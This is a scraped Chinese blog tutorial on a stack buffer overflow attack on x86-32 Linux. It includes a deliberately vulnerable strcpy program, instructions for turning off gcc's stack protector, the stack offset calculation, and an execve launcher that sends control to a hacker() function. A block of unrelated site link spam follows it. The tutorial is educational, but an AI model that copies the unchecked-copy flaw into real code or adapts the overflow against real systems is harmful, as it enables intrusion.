当前位置: 首页 > news >正文

网站建设实习faq插件 wordpress

网站建设实习,faq插件 wordpress,久久医药网,wordpress 阴影在x86-32-Linux下构造一个栈溢出攻击 栈缓冲区溢出攻击#xff1a;向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。 IA-32下C函数调用约定#xff1a; 调用者将参数从右向左入栈#xff0c;构造参数call 指令短跳转#xff0c;会将call指令下一…在x86-32-Linux下构造一个栈溢出攻击 栈缓冲区溢出攻击向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。 IA-32下C函数调用约定 调用者将参数从右向左入栈构造参数call 指令短跳转会将call指令下一条指令地址(RA)入栈供RET指令返回使用被调用函数创建栈帧push %ebp; mov %esp, %ebp; 则一个函数调用的栈帧情况 void func(int a,int b,int c) {int tmp 0x99;return ; } void main() {func(1,2,3); }0x0参数C0x4参数B0x8参数A0xCRA地址0x10旧%ebp0x14tmp变量值0x99 攻击原理: 利用strcpy(dst, src)函数对写入的src数据长度不做检查的特性对函数的栈数组进行写溢出攻击。 假设待写溢出的数组在test()中 // a.c #include stdio.h #include string.hvoid test(char *str) {char buffer[16]; // 待攻击处strcpy(buffer, str);printf(%s\n, buffer); }void hacker(void) {printf(being hacked\n); }int main(int argc,char *argv[]) {test(argv[1]);return 0; }gcc a.c -o a.out 编译后objdump -d a.out反汇编查看栈布局。 发现GCC对strcpy()的调用处插入栈检查代码call 8048398 __stack_chk_failplt. 首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector查看反汇编发现没有了栈检查代码。 于是根据反汇编代码来得到test()的栈帧布局情况。 由sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间布局如下。 并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址 数组buffer的起始地址是-0x18(%ebp)于是便能够知道数组在栈帧的中的位置 %ebp0x8参数 char *str%ebp0x4RA返回地址%ebp当前的值也就是test的栈底0main的%ebp%ebp-0x4ebp-0x8-0xCbuf 12~15-0x10buf 8~11-0x14buf 4~7-0x18buf 0~3-0x1C%ebp-0x20%ebp-0x24 %esp 0x4strcpy的参数char *str%ebp-0x28 %espstrcpy的参数buf地址-0x18(%ebp) 既然有了buffer数组的位置那么就能得到buffer数组到RA返回地址处的长度163*428字节28字节后面开始的 4字节便是需要构造的攻击跳转地址 假设我们想要其跳转到void hacker()函数写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址 有了hacker()函数地址便能构造写溢出攻击字符串的内容了28字节的垃圾字符4字节hacker()函数地址\0 代码如下 // test.c #include unistd.h #include stdio.hchar tmp[33];int main() {for (int i0; i28; i)tmp[i] F;// 对应hacker()地址 0x08048439tmp[28] \x39;tmp[29] \x84;tmp[30] \x04;tmp[31] \x08;tmp[32] \0;char *argv[3] { ./a.out, tmp, NULL};execve(argv[0], argv, NULL);return 0; } // gcc a.c -fno-stack-protector -o a.out // gcc test.c -o test -stdc99./test运行结果如下栈溢出攻击成功 总结 需要根据反汇编代码来查看函数栈中的变量的布局然后根据栈变量布局再来构造溢出字符串。
http://www.dnsts.com.cn/news/9591.html

相关文章:

  • 网页设计制作网站论文南宁网站空间
  • 6617网址导航彩票网站大全石家庄网站建设服务
  • 网站php怎么做在哪个网站做ppt模板赚钱
  • 怎么建设网站服务器做企业手机网站
  • 手机nfc网站开发微信公众二次开发平台
  • qq说说赞在线自助下单网站装修十大风格
  • 建网站的公司不肯签合同云主机建网站
  • 网站优化怎么样便宜的seo网络营销推广
  • 泉州建站模板网站网站建设采购合同验收
  • 网站建设开户行查询网站收录大全
  • 超市网站建设策划书php做的网站代码
  • 广州网站建设菲利宾论文课程网站 建设背景
  • 模板网站建设公司哪个好安徽网站优化好不好
  • 网页制作与网站设计自学网站建设作业
  • 绵阳建设工程信息网站wordpress一键 centos
  • 用什么建设网站重新建设网站的申请报告
  • 重庆微信网站开发wordpress菜单跳转
  • 深圳高端网站建设电话cms建站详细教程
  • 科技公司网站网页福建优化seo
  • 设计师a 网站wordpress 标签 修改
  • 如果给公司网站做网络广告wordpress 手机短信
  • 手机域名做网站中国谁第一家做网站要多少
  • 在线视频网站开发方案phpa市最牛的网站
  • 如何做后端网站管理刚做网站做什么网站好点
  • 怎么在百度搜索到我的网站网页制作工作总结
  • 外贸公司网站开发步骤wordpress微信分享按钮
  • 做网站找人用自己电脑做网站服务器-phpstudy+花生壳
  • 微信小程序怎么做网站辽宁智能建站系统价格
  • 安徽网站设计流程怎么在百度上建立网站
  • psd做成网站潍坊网站建设首荐创美网络